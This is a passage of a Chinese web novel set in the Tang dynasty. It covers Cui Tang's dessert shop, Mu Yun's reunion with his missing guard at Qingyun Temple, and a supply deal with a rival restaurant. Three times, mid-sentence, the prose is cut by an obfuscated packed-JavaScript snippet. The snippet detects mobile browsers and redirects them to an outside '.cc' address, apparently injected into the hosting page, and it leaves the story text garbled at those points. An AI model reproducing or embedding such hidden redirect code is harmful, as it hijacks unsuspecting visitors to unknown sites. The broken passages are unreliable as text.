出门时恰与扛着竹篓进门的穆云撞个正着。穆云葛布短打还沾着河泥,目光却似钩子般上下打探那人。 崔棠揪住他袖口:“又去哪儿啦?晌午就说帮我再做一批竹筒。”这孩子真不让人省心。 “审犯人呢?”穆云举起竹篓晃了晃,“去河里给你抓了几条鱼,哼!不识好人心……” “穆少侠大义!多谢穆少侠的鱼!”崔棠欢呼着上前接过鱼篓,鱼虾是这时代底层人民不可多得的荤腥了。 穆云无奈地笑了,这小娘子变脸比翻书还快。他听着崔棠絮叨方才那古怪客人,眼前却浮起午后小院里苍术说的话: “在西山长云观,瞧见个背影活脱脱就是穆青大哥……” 17. 在下卢七 “想什么呢?魂不守舍的。”崔棠伸手在穆云眼前晃了晃。 她举着一杯饮子在他面前好一会儿了,穆云却一直在走神。崔棠眨巴眨巴眼睛,期待地看着他:“犒劳你抓了鱼,给你尝尝阿娘新做的杏仁露,里头还加了核桃呢!” 这杏仁核桃露,如今像醉仙楼这类大酒楼里也有卖,算是个精细的饮子。但其实工序并不复杂,先将杏仁和核桃浸泡后用石磨研磨成浆,再用细麻布滤去渣滓,在陶罐中加热煮沸。最后根据口味,或调入崖蜜或加入蔗糖。 若是可以在市井售卖,只要价格有优势,就算工艺稍微差些,也很有市场。 穆云拿过杯子抿了一口,眉头却皱了起来。 “不好喝吗?不应该呀,”崔棠见他这模样,自己也拿过另一杯“咕咚咕咚”喝了两口。 嗯……这味道是还行,就是咽下去的时候着实有些拉嗓子。 “咳咳咳——阿娘这个杏仁露是不是要再滤几遭?”崔棠回头问道。 贺梅娘其实也正在为这事发愁:“这麻布孔眼大,滤了几回都不够细。而且大石磨磨出来糙得很,浆汁就不醇厚,喝着也有些寡淡。” “或许多叠几层麻布可以滤得细一些?”穆云斟酌着道,“其实若真要细还得用丝。” 崔棠被这不食人间烟火的公子哥儿气笑了:“穆小郎君怕是不知晓,这丝绸绫罗满县城都没几个人用得起呢!” 穆云一噎,低头看了看身上的粗葛衣,闭上了嘴。 崔棠叹了口气,都说大唐盛世,其实平民哪朝哪代都过得一样辛苦,能够温饱就算极好的世道了。 这丝绸在这个时代极为昂贵,甚至可以作为货币流通,也只有那些长安贵族或是豪富才能日常穿。一般的富户也只是在婚嫁这种重大场合,偶尔添置几件。像后世平民用的棉布,此时都还未出现,不然用来做滤布也是极好的。 她拿起那麻布,手指搓了搓,“不如多用几层,三层——不,六层,阿娘你用六层麻布再滤一滤试试!明儿阿耶不就来了嘛,请他再看看那石磨又没有法子再改改。” “行,照你说的办!” 这回滤完的液体倒是细腻了很多,勉强可入口了。 但勉强可不是崔棠推出新品的标准,棠记如今招牌不少,倒不缺这一个杏仁露,“这个先不上吧,看看我们订得干货另外能做些什么。” 贺梅娘有一点失望,但她也理解崔棠的想法,“你先别愁,阿娘还做了个吃食,一会儿用完晚食就能吃了。” 自家母亲的本事,崔棠还是很信得过的,果然三人吃完晚食,贺梅娘就端上了一盘软软糯糯的团子。 “阿娘,这是玉露团!”崔棠惊喜地喊道。 她最喜欢这种糯叽叽的吃食了,刚穿来的时候条件不好,现在偶尔可以买来尝一尝解馋,但也卖得贵得很。外面是糯米粉揉成的团子,内里是豆沙馅,有的还会在外头裹一层椰丝或糖霜。 贺梅娘颇有些骄傲,“那杏仁滤渣煮沸做饮子有些糙,但做糯米团子确实口感刚刚好。” 穆云一口一个糯米团子,嘴里嘟嘟囔囔地,“贺姨这个团子做的甚好,比长安西市的浮香阁有过之无不及。” “哈哈……哪就有这么好了。”贺梅娘嘴上说着谦虚的话,心底确实很是受用。 崔棠也吃的见牙不见眼:这加了杏酪的糯米团子吃起来多了分清爽,里头的枣泥馅滋味也是极好。 想到后世那些各式各样的糯米团子,崔棠眼睛发光,“阿娘,这糯米团子可以多做几个口味,比如核桃馅、芝麻馅,外头可以是不同颜色,绿的掺艾汁,黄的掺粟米粉……这东西方便装盒,以后卖得好的话,可以单独做一个礼盒。” 贺梅娘自是无有不应的。 果然不出崔棠所料,这不同口味的玉露团第二日一经推出就大受欢迎。虽然别家也有卖玉露团的,但口味不如棠记丰富,价格也比棠记贵上几文。 为怕客人噎着,崔棠还附赠一小杯杏仁甘枣饮。这杏仁干枣饮与杏仁露不同,只需要加入红枣、陈皮文火煎一会儿,加入崖蜜就能喝。十分便宜大碗,做起来也方便。 “走过路过看一看嘞!棠记新品五色玉露团,还送甜丝丝的饮子喝嘞!”陈大虎举着咬剩半块的杏酪玉露团当活招牌。 这陈大虎不止能说会道,吃起东西来表情也很是夸张,白饭都能吃的如痴如醉,崔棠称之为古代版吃播。 “阿翁阿婆尝尝新出的攒盒?”脆生生冒出个小脑瓜,一个八九岁的小丫头抱着竹匾,脑袋上两个小揪揪一跳一跳的。 崔棠看着她总有种压榨童工的负罪感:这是陈大虎的妹子妙儿,因在家无人照看,陈大虎特央了崔棠做工时带上妹子。这小女孩乖巧的紧,常常主动帮手干活,于是棠记也管了她两顿饭。 “小矮瓜,接着——”穆云“啪”地飞了碟剥好的核桃仁到柜台上,“再揪头发当心成小秃子!” 要说气人还是穆二在行,专戳她痛脚。崔棠踮脚去够柜台顶的糖罐,对比穆云之前轻松就能拿到,不由气结。想她前世十二岁早蹿到母亲耳际,哪像如今矮得活似个糯米团子。好在江南娘子多娇小,偏这穆二跟春笋似的天天拔节! 崔棠抬头瞪他一眼,恶狠狠地挤出一句“多谢”。还是得对他好些,毕竟也算是店里的“代言人”了。穆云近来美黑膏越用越少,肤色因活干的多,倒没之前白的那么突出了。穿一身粗布衣服依然剑眉星目,倒把来店里的一众小娘子们看得脸红。 穆云被看得一脸莫名其妙,撇撇嘴又回里间继续砸核桃去了。 “崔小娘子——”一个穿着葛布道袍、蹬十方履的老翁拄着竹杖晃进门来,腰间葫芦随着步子叮咚响,老丈眯眼笑得满脸褶子开花,“听闻又琢磨出什么神仙吃食了?” 自打棠记开张,这位老道士着便雷打不动来“试新”,什么甜吃什么,回回吃完还打包一份带走,算是个很慷慨的常客了。 崔棠忙用襻膊系起衣袖,从柜子里端出攒盒:“正等着您老品鉴呢!新做的五色玉露团,当心粘牙。”她特意把竹签往老翁手边推了推。 “放心吧!小老儿牙口好着呢。”老道士呵呵直笑。 门帘“哗啦”乱响,铺子里突然撞进个青衫少年,肩上麻袋还沾着新鲜泥点。 崔棠正给老道士倒饮子,听到声音有些耳熟,一抬头——这不是那个向她低价买山茱萸的人嘛! 那人也明显认出了她,他把麻袋往地上一墩:“我说小娘子,不是说给我送山茱萸,怎么再也没音讯了?” 崔棠挑眉打量他,假装才认出来,“哟,上回说好的山茱萸价,可比陈记干货铺低三成呢——” “猢狲崽子!” 老道士的拐杖精准命中那人小腿肚子,“你还叨叨啥呢?定是你坑蒙拐骗人家崔小娘子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15199788|164202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还不给我赔礼道歉!” 那人揉着小腿苦哈哈地作揖,“是在下唐突,这袋新挖的茯苓权当赔礼。” 崔棠嘴角抽了抽,她本就没把这事放在心上,再说她也放了人家鸽子,既然对方给了台阶,她也大度地表示,“无妨无妨,不打不相识嘛!这位——” “在下卢七。” “哦。这位卢郎君,这是小店新出的玉露团您也尝尝。”崔棠摸出个荷叶包拍他手上。 卢七咬了口团子眼睛骤亮,真诚地评价道:“比师父搓的丸子好吃多了!” “小兔崽子,那是药丸子你当糖吃呢?”老道士咆哮起来。 崔棠望着这斗嘴的师徒俩直扶额,道骨仙风的老道士其实是个嗜甜如命的暴躁大夫,温润如玉的面善郎君实则是个讨打的调皮小子。 “闹腾什么呢?”穆云掀帘出来时手里还拿着个核桃。 崔棠张了张嘴还没出声,卢七猛地蹦了起来奔过去,“谢——” 穆云一巴掌捂住卢七的嘴,拼命使眼色,直到卢七示意自己懂了才放开。 卢七大喘一口气问他:“你怎么在这里?” 崔棠眉毛挑得老高:好家伙,这俩还是旧相识呢! 天井里树影婆娑,灶间传来“咕噜咕噜”陶罐煮饮子的声音。院子里的贺梅娘和崔弘早被崔棠拉去了前边。 卢七跷着腿转银针,“没想到谢三郎放着好好世家公子不做,还有这做跑堂的癖好。” “某是穆云,”穆云神色严肃地纠正他,又轻笑道:“你堂堂范阳卢氏嫡子,不也整日跟着神医东奔西跑做仆从。” “卢氏那么多嫡子,少一个卢七郎没什么打紧,还少了个人分财产呢!” 两人对视一眼哈哈大笑。世家大族虽好,却不是人人都甘愿做提线木偶的。这也是两人自八岁上打了一架后,就一见如故成了好友的原因。 “说正经的,”卢七突然敛了笑,银针在指间泛着冷光,“月前师父在西山山坳捡到个跳崖的。”他用针尖在案上勾出个人形,“浑身筋骨断了七成,泡了一个月药浴才缓过来。” 卢七瞥见他指节发白,叹气道:“本是摔得脑子也不甚清明了,前日那人突然记起些往事来。某这才发现,这人瞧着眼熟原是我见过的——就是你那跟班穆青!” 他顿了顿接着说道:“某便去信长安想与你说这事,没想到你竟是在安吉。也是,穆青在此你又怎会在长安。” 穆云手中茶盏“咔”地裂了条缝,就要起身往外走,“快带我去见他!” 卢煜闪身拦住去路,有些欲言又止,“他虽能下地,但……” “等等!”穆云突然正色道,“你往长安去了信?信里写了些什么?” “也没什么,就是告诉你救了穆青这事。怎么,出什么事了?” 穆云深吸一口气,缓缓吐露。“是那位夫人,一路追到这里,穆青是为了护某。后来某只能做了个假象,让那些狗腿子误以为掉下悬崖的是我……” “什么?那我这信岂不是,得赶紧去追回来——”卢七惊得跳了起来。 穆云苦笑,“算了来不及了,某只是想过几天清净日子罢了。反正这种拙劣的把戏迟早会被拆穿,某又不可能真的在此隐姓埋名一辈子。” 卢七又坐了下来,“那后面你是怎么想的?那崔家人看着不知情,但我看你跟崔小娘子似乎亲近得很……” 18. 青云观里 他再怎么少年早成,也不过是个十七岁的少年。防得过内宅的明枪暗箭,又怎敌得过真刀真枪的追杀。好在那人也不敢太过于明目张胆,明面上只是借口寻找离家出走的小郎君。 卢七一屁股坐在翻倒的胡床上,故意拖长尾音,“那崔家……” 穆云仰头饮尽盏中琥珀色的浆液,喉结滚动间溅出几滴,顺着脖颈滑进洗得发白的麻布衣领。 少年忽然笑出声,随手扯过井边晾着的葛布擦脸,他屈起膝盖,露出沾着泥点的布袜,“你瞧,这是贺姨给我缝的,针脚比府里绣娘粗十倍,可我却觉得格外熨帖。” 蝉鸣声忽地稠密起来,穆云伸手拨弄案头剥了一半的核桃仁,眼角含笑,“贺姨总说‘二郎这般瘦,定是在家吃不饱饭’。崔叔也不像个寻常的父亲,你可能不信,这家里的事儿都是崔棠做主。” 卢七的指尖在石案上划出水痕。他记得一年前的曲江宴,穆云那惊才艳艳的样子引得满楼红袖招。而今眼前人粗布麻衣,袖口还沾着水渍,可那双眼竟比往昔更亮几分。他忽然有些心疼,眼前这个少年或许从来没有过家庭温情。 穆云仿佛下定了某种决心。“等收了这季麦,我便去岭南。”他看向远处,“长安那位夫人既然嫌某碍了路,那某就不去碍她的眼了。” “南下找你外祖?当年谁说外家满身铜臭来着?” 穆云忽然起身,望着掌心不知何时凝成的硬痂,“原来十指不沾阳春水,不是风雅,是蠢。凭本事挣钱养活家人,没什么不好。” 卢七眼尾折出狡黠的光:“你待那崔小娘子,似乎……” “她啊——”穆云尾音尚未落定,忽闻后厨传来陶瓮相击的脆响。 “穆二你们谈完了没啊?外头老爷子闹着要找徒儿呢!”崔棠半截身子探进竹帘,她夸张的比划,“桌子都要被他敲坏啦!” 穆云霍然起身,拽着卢七往外走,“这就来了!” 老道士正坐在交椅上,银白须发随骂声颤动:“孽徒!怎么丢下师父自己个儿去逍遥快活?”他扬手将拂尘掷向匆匆赶来的两人,檀木柄堪堪擦着卢七幞头飞过,穆云劈手一把接过。 卢七苦笑着作了个深揖:“师父明鉴,徒儿遇到旧友一时情急了,”他让开身子让穆云上前来,“这位是穆二郎,我在长安的至交好友,咱们救的那个人便是他的护卫。” 穆云已行至老道三步外,双手交叠举至眉间,行了个极标准的叉手礼,带着世家子弟刻进骨子里的端方:“晚辈穆云,谢道长活命之恩。穆青与我虽名为主仆,更似兄弟……” “管你主仆父子!贫道救的又不是你,”孙道长突然抽动鼻翼,踩着芒鞋蹦下底,“崔家丫头!老道要的玉露团与红糖冰粉可备好了?” 崔棠变戏法似的从柜台下摸出青布包裹,甜甜的应声,“早就准备好啦!” 她又转头问穆云,“穆青找到啦?这可是太好了!” 穆云笑着朝她微微颌首,又试探着问孙道长,“不知晚辈是否可以接穆青回来?” “腿长他身上,想回就回咯!”孙道长似乎觉得穆云问了个傻问题,不耐地翻了个白眼。 卢七将一切尽收眼底,他故意揽过穆云肩膀,“青云观的云海日落最是奇绝,此刻动身……”话音未落,余光瞥见崔棠垫脚从柜子顶上拿了个竹篮。 “我、我想去采些野菌!”崔棠举起竹篮有心想找个合理的借口,来了这地方一直忙着赚钱,还未曾看过什么风景,“云海落日”听起来让人心痒痒的。 穆云喉结动了动,立时便懂了,他轻笑道:“不如同去?”这丫头总把借口和野心写在亮晶晶的眸子里,一点也不含蓄。 “会不会太打扰了?”崔棠雀跃起来。 “无妨无妨,咱们有驴车,给你和师父坐,我和穆二走着去就行。”卢七没见过穆云对女孩子如此温声细语,燃起熊熊八卦之心。 崔棠朝着外头的陈大虎使个眼色示意他看店,自己从柜台底下掏出一个竹质提篮,飞速装上几罐饮子和各色点心,挎着篮子就笑盈盈地跟上众人的脚步。 卢七将药箱往驴车上一撂,惊得那健硕青驴打了个响鼻。他眼角瞥见穆云正不动声色地将车辕处的碎石子踢开,这般细致模样,倒是让他巧着新鲜。 道长虽是老道长,这驴却是头颇健硕的驴子,驴车还铺了厚厚的褥子,在上面很是舒适。 崔棠跪坐在驴车上,把竹篮里的东西一样一样掏出来:五色玉露团攒盒,糖渍梅子装在掏空的葫芦里,那米浆冻制的赛酥山晶晶亮…… 她变戏法似的摸出个掏空的葫芦,琥珀色液体倾入竹制小杯,“这是用井水镇的酸梅饮,最解暑气。” 卢七见状大笑:“崔小娘子这是把店都搬来了?” 穆云摇摇头轻笑,“你可不懂了吧?她呀顶顶好吃了!” “你们才不懂呢!这人生不就是吃好喝好,才不枉此生吗?”崔棠嘴里鼓鼓囊囊的。她总爱在句尾缀些尾音上翘的语气词,像极了长安贵女们不屑的市井调子,却让穆云想起幼时在太液池畔听过的西域歌谣。 孙道长拍腿大笑,“妙哉妙哉,正是此理!贫道钻研医术也是为了能吃好喝好玩好,小娘子颇有慧根!” “哪里哪里,儿也就是惫懒些罢了。”崔棠谦虚。 “人生能慢下来才是学问。”孙道长突然将竹杯举起,布满沟壑的眼角堆起笑意,他语气陡转,“不像有的人,自己学得慢还天天催催催。”这似乎是在讽刺卢七了。 卢七笑呵呵并不在意,想来是习惯了。这师徒俩的相处模式看着倒是新鲜。 几人闲聊之下,崔棠才得知孙道长是颇有名气的神医,天赋异禀那种,他吐槽卢七倒也是实话,毕竟无人像他一样前半辈子修道,后半辈子于医道一途上突然开悟。这妥妥是中年换赛道,还大有所成。 原来这卢七本名卢煜,长安人士,也是个离经叛道的。自小钻研医术,非要跟着神医拜师学艺。如今在附近村里也多少算是个小神医了。 一路上卢七与孙道长斗着嘴,穆云在里头插科打诨。崔棠望着他们映在地上拉长的身影,忽然心里十分平静轻松。 山道拐弯时,崔棠听见劈柴声从坡顶传来。暮色里,一个穿褐色短打的少年正抡斧子砍柴,旁边一身红衣的小娘子抱着柴禾来回跑,发梢沾满碎木屑。驴车碾过碎石路的动静惊动了他们,红衣小娘子突然扔了怀里的木柴,鹿皮靴踏着尘土冲过来。 “阿翁!”她旋风似的刮到驴车前,腰间铜铃叮当乱响,“说好的红糖冰粉呢?”说话时眼睛却往竹篮里瞟,手指头偷偷去勾装点心的油纸包。 孙道长揪着胡子笑骂:“饿死鬼投胎似的!”却把整个蓝布包裹塞过去,“这是棠记的崔小娘子,这几日带回来的点心都是她家的。”老道脸上的褶子都笑开了,和之前对卢七吹胡子瞪眼的模样判若两人。 崔棠愣愣地看着那小娘子三下五除二撕开油纸吃起玉露团来,疑惑地看着卢七。 卢七正从药箱底层摸出个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229700|164202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒葫芦,头也不抬:“我师父的宝贝孙女采薇,穆青这些天就是被她扣着学武艺才脱不了身。” 采薇咬着糯米团子含混不清地嚷:“胡说!是穆大哥自个儿说要教我破风刀法的!”她转身朝柴堆那边喊:“穆青你说是吧?”背过身抱柴禾的少年浑身一僵,黝黑的脸突然红到耳朵根,闷头把木柴摞得噼啪响。 崔棠瞧见穆青腰间别着的新刀鞘,红绳结歪歪扭扭的,像是被人硬缠上去的。采薇蹦蹦跳跳去拽他袖子:“快让崔姐姐看看你新教我的招式!” 穆青转过头,手里的斧头咣当掉地上,砸起一蓬黄尘,他踉跄着冲过晾晒药草的竹匾,扑到穆云跟前抱拳:“少主!属下……”话没说完就被穆云攥住手腕。 地上上投下两道颤抖的影子。穆云的手掌重重拍在穆青肩头,震落几片沾在衣领的松针:“瘦了。”他嗓音沙哑得像是被山风刮过,突然扯开穆青的衣襟——锁骨下方那道蜈蚣似的刀疤在夕阳下泛着淡红。 孙采薇的鹿皮靴狠狠碾过满地忍冬花,辫梢的铜铃铛叮当作响:“你这人好生无礼!”她横插进两人中间,沾着泥巴的手紧攥穆青袖口,“他是我带回来的,他的命是我阿翁救的,这疤是用我祖传的金疮药敷的!” 卢七抱着药箱倚在篱笆边看热闹:“小丫头片子,人家正经主仆重逢……” “胡说!”采薇突然从后腰抽出短刀,刀刃啪地扎进柴垛,“那日我在后山捡到他时,身上没一处好的地方,浑身骨头都断了!”她扯开穆青的衣摆,腰腹间交错的疤痕像蛛网般狰狞,“你们这些贵人用人时甜言蜜语,出事了连个寻人的榜文都不贴!” 穆云瞳孔猛地收缩,那日在悬崖边,穆青替他引开追兵掉崖,此后便杳无音讯。 此刻穆青局促地搓着衣角:“孙小娘子,少主他定是……” “闭嘴!”采薇突然红了眼眶,“上个月是你说要教我刀法,护我周全,报答我恩情!刀谱还差三页没抄完呢!”她拽着人就要往道观里走,打翻的竹匾里忍冬花撒了满地,金灿灿铺成一道屏障。 孙道长突然咳嗽两声:“薇丫头,去把窖里埋的杏子酒挖出来。”采薇应声就跑,鹿皮靴在泥地上踩出串小坑。穆青盯着那些脚印看了会儿,默默拎起斧头跟过去。 卢七凑到崔棠耳边嘀咕:“瞧见没?这丫头片子最会折腾人。” 山道上的碎石被暮色染成铁灰色,崔棠提着空竹篮跟在穆云身后。前头穆云的皂靴碾过满地松针,踩碎的松脂味混着山间潮气,倒比店里新熬的薄荷膏更醒神。 “少主。”穆青追到半山腰,突然单膝跪地,“孙小娘子于我有再生之恩,待属下教会她……” “教到开春也使得。”穆云突然驻足,惊飞枯枝上的山雀,“长安那帮人若真要寻来,也不会这么快。” 崔棠弯腰系紧松脱的麻履,瞥见穆云垂在身侧的手紧攥成拳。山风掠过时,她听见穆青哽咽着喊了声“少主”。 转过山坳时,云海正漫过青云观的飞檐。穆云忽然停在她半步前,发梢扫过她捧着的竹篮:“崔小娘子可觉着我薄情?” 没等她答话,山腰传来采薇清亮的呼喝声。少女红衣似火,正拽着穆青在云海里比划招式,铜铃声撞碎在千山暮色中。 穆云忽地轻笑:“那丫头扯谎的本事倒像你——说什么学招式,分明是怕人走了没人劈柴。” 下到山脚时,云海已吞没整座青云观。崔棠回头望了最后一眼,恍惚看见采薇的红衣在雾霭中忽隐忽现。 19. 不要工钱 崔棠忽地轻笑:“穆二嘴硬的本事也很过人,是不是觉得若能在山中过这样的日子也不错?” 穆云倒也不否认:“若是穆青想过自己的生活,某自然会放他去过。” 崔棠道:“我看不然,他瞧着呆头呆脑的,怕是宁可为你赴汤蹈火!孙小娘子许是小孩心性,一时新鲜。你跟那卢七不是旧识么,今后咱们多来往就是。” 穆云听他提起卢七,有心想对自己身份解释一二,张了张口,却又觉得无从说起。 崔棠看出他面上的犹豫,朗声道:“你放心,我不关心你从前是什么人。我只看眼前,你是穆二就行了。” 接下来两人一路无言,待到铺子里已是月上柳梢头。 “你这丫头,怎的去这么久?是不是忘了今日你阿耶过来!”贺梅娘见到两人进来,佯装恼怒地朝崔棠瞪了一眼。 崔棠闻言懊恼道:“我真忘了!阿耶在里头吗?我找他去!阿耶——”嚷着就往内院小跑进去。 穆云把手里竹篮放下歉意道:“贺姨别怪阿棠,是我看她这些日子累得很,带她出去走走。” 贺梅娘哪里会怪崔棠,只是有些担心罢了:“二郎你在我还放心些,若是你不在平日里又把她纵得无法无天,一个小娘子家家的胆子这么大,太危险了。”就算是现代二十六岁的崔棠,她也常常挂心,何况是如今这个小小身体的崔棠。 “贺姨放心,只要某在,定会看顾好她。”穆云郑重道。 贺梅娘倒是没把穆云的话放在心上,推着他的背就往里头赶:“净说些文绉绉的!快去净手吃晚食了。” 院子里石桌上摆着饭,却空无一人。崔弘和崔棠正在井边围着嘀嘀咕咕。 “崔叔这是在做什么?”穆云踢踏着脚看向一旁忙碌的崔弘。 崔棠指着一旁半人高的双层木桶,笑道:“阿耶可厉害了!做了个保温桶呢!” 这外层竹片用麻绳捆扎得密实,内胆竟用上了烧陶手艺。崔弘往夹层塞满晒干的蒲草,又掏出个带螺旋纹的橡木塞子:“这是仿着胡商琉璃瓶的密封法改良的,井水湃过的酸梅汤能保四个时辰凉气。” 崔棠踮脚朝夹层里张望:“阿耶怎想到做双层的?” 崔弘抹了把额头的汗憨笑道:“之前在铁匠铺瞧见淬火用的水槽,双层结构能隔热,岂不正是保温的道理。” 穆云屈指叩击木桶,听着空瓮般的回响:“这个法子妙极!” 贺梅娘端着绿豆汤过来,她嘴上埋怨,却掏出帕子给丈夫擦汗,“老崔折腾半月,总算弄出个像样的。” “我还做了个双层的陶瓮,这样以后煮糖就不怕烧糊了。”崔弘颇为得意。 崔棠朝崔弘竖起大拇指,自家父亲的动手能力真是没话说。很多现代有的物件,在古代也并非不可实现,只是需要花时间去钻研其中的原理。这点崔弘比任何人都有耐心。 转眼次日,日头正毒,药铺门前的青布幌子被晒得发蔫。 崔棠正踮脚往保温桶里添井水,忽听得一串铜铃脆响。孙采薇掀帘而入,她今日倒是一身小娘子常见打扮,只发间的珠钗缀着小铃铛叮咚作响,身后跟着乐呵呵的孙道长。 “两盏红糖冰粉,多加山楂!”孙采薇拍着柜台嚷,鹿皮靴底还粘着山泥,“再要一碗赛酥山,记卢七账上!” 孙道长早瘫在交椅上摇蒲扇,招招手让跟在后头的穆青赶紧进来。 穆青正对着铺子里的陈设发愣,忽见穆云从后院出来,手里还攥着刚削好的竹签子。老天爷,自家金尊玉贵的小郎君竟在灶间削竹签! “少......”穆青的话卡在喉头,被自家主子一记眼刀逼回去。 崔棠看两人的神情,笑着打趣:“穆二在我这算是跑堂,这位郎君也要留下做跑堂吗?” 他扑通跪在崔棠石榴裙前:“小娘子尽管吩咐!主子往日做的活计,某都能……” 崔棠被这一跪吓了一跳,猛地往旁边跳开:“使不得使不得!你快起来!” 穆青站起身子,孙彩薇旋风般冲过来。“哎——”,腰间蹀躞带的铜铃铛撞得叮当响:“你要留下,我也要!”她浓眉一挑:“说好教我刀法的,可不许赖!” 崔棠闻言哭笑不得,皱眉道:“我家这小铺统共四张桌,哪容得下……” “容得容得!“孙道长晃着蒲扇直乐,“贫道瞧这铺子宽敞的很,采薇这丫头成天在观里上房揭瓦,不如来帮把手,还能磨磨性子。”自家这孙女实在是皮猴一个,有个地方能安分待着他求之不得。况且,还有借口时不时来蹭吃蹭喝。 孙彩薇抱住崔棠胳膊直晃,腕间银钏硌得崔棠龇牙咧嘴:“好妹妹~我帮你试新点心!”她浓眉大眼的英气脸庞凑得极近,嘴角还残留着方才吃的山楂碎。 “罢罢罢!”崔棠扯出胳膊理了理双鬟髻,“先说好,你乖乖地待着就行,我可不付你工钱。”有这么一个小娘子在店里日日待着,也算是个活招牌了。 “不要工钱!”孙彩薇欢呼着抢过崔棠手中的漆托,绛红襦裙旋成朵山茶花。那头穆青早接过穆云手里的活计,卖力地干了起来。 檐下铜铃叮咚乱响,崔棠望着堂间景象扶额——陈大虎在门外吆喝得唾沫横飞,妙儿游鱼般穿梭在食客间,孙彩薇正与个胡商比划软鞭招式,吓得那波斯人直往穆青身后躲。 跑堂的、揽客的、试吃的、赔笑的,外加个专职砸碗的。崔棠觉得自己像个黑心资本家,五个员工竟然只发一份工资:“这叫什么事……” “这叫得了便宜还卖乖。”穆云突然凑过来,“你还嫌人多不成?我干了这许多活,你可没付我工钱。” “不是你自个儿不要的吗?”崔棠瞪眼。 “此一时彼一时嘛,如今我还得养活穆青,他饭量可大得很。” 崔棠翻了个白眼:“那就比照着陈大虎的薪资来吧!” “某可比他能干!”听到自己跟陈大虎划为一类,穆云心里颇有些不是滋味。 前堂忽传来碗碟碎裂声,两人转头望去,见孙彩薇正吐舌收拾残局,穆青慌得拿袖子去接瓷片。 崔棠有些心疼地道:“那就翻一倍,但他们要是再砸碗可都算你的!” “得了!多谢崔大掌柜!”穆云笑出大牙,忽然压低嗓子:“崔掌柜可愿随某出去走走?”不等回答已拽着她往后门溜。 七拐八绕两人钻进条腌菜味冲鼻的窄巷。崔棠捏着鼻子瞪他:“你带我来的什么地方?” “嘘——”穆云猿臂一揽将她箍进怀里,足尖点地跃上老柳树,崔棠的惊呼被他手掌堵回喉间。 从树上望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297279|164202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进院子,里头丝竹声混着胡姬笑,客人们推杯换盏。穆云贴着她耳垂轻笑:“这不就是醉仙楼么……” 日头西斜,柳影斑驳爬满青砖墙,侧门处鎏金灯笼晃出个鼠须小厮,正与蓄着八字胡的锦袍男子交头接耳。那男子腰间蹀躞带镶着和田玉扣,正是那日来铺子的怪客。 “霍孟元,醉仙楼少东家。”穆云气息拂过她耳垂。 崔棠心跳如擂鼓,石榴裙裾缠在柳枝上:“咱那小铺子也值得……” 穆云道:“莫小瞧自己。你家的玉露团可是连县尊都差人来买。” 崔棠眯眼细看恍然道:“那日他来尝遍点心,原是商业间谍啊!” “间谍?” “呃……就是细作!” “他是敌是友尚不清楚,但有的人定不是好人。”穆云朝远处努努嘴。 巷口忽然晃进个佝偻身影,竟是崔林!他搓着手凑到霍孟元跟前,点头哈腰地说些什么远远地听不清楚。 穆云耳力显然好很多给她转述:“崔林提到了棠记,想把棠记卖给霍孟元……他哪来的脸?” 蝉鸣裹着零碎耳语飘来。穆云剑眉越皱越紧:“他说崔家长房有权处置……” “咔嚓!”崔棠生生掐断手中柳枝,气不打一出来:这长房怎么处处与自己作对,平日没点正事可做吗? 待两人说完话各自离开后,穆云抱着崔棠跳下地。 “崔林他做梦!”崔棠一沾地立马挣开他怀抱,“劳烦带路——走正门!” 醉仙楼正门鎏金匾额高悬,往来宾客捧着琉璃盏进出。 崔棠理了理裙子迈进门槛,迎客伙计见她粗布衣裙正要拦,却被霍孟元的招呼声打断:“崔、崔小娘子?” “霍少东家安好。”崔棠微微一笑,屈膝行了个标准万福。 霍孟元见崔棠已经得知他的身份,八字胡随着干笑直抖:“崔小娘子见谅,那日去棠记实是好奇,小小铺面竟引得县里大半食客前去。” “霍少东家过奖了,不知可否借一步说话?” “自然自然!”霍孟元挥退执壶的茶博士,引着二人穿过长廊上了二楼 厢房内鎏金仙鹤香炉吐着苏合香,霍孟元转着翡翠扳指笑道:“崔小娘子此来…...” 崔棠捧起茶盏抿了口饮子,清甜滋味顺着喉间滑下:“有桩生意想与您商量。” 她装作不经意地道:“您别看我年纪小,这棠记可是在我名下,如今也是我在打理。若是崔家有其他人说些什么,您大可不必理会。” 霍孟元想是与崔林见面被看到了,直言道:“不瞒崔小娘子,令堂兄确实找过我。但我已经拒绝了,醉仙楼还不至于看着别人生意红火就眼红的地步。” 崔棠没想到霍孟元如此坦诚,也放下心来:“棠记和醉仙楼只隔两条街,若甜品饮子直供醉仙楼,专人送货上门,售价随您定,棠记只收批发价,不知霍少东家意下如何?” 霍孟元捏着八字胡的手一顿,崔棠又加了把火:“您家这神仙环境配我家的甜品饮子,保管客人排队到宵禁鼓响。” 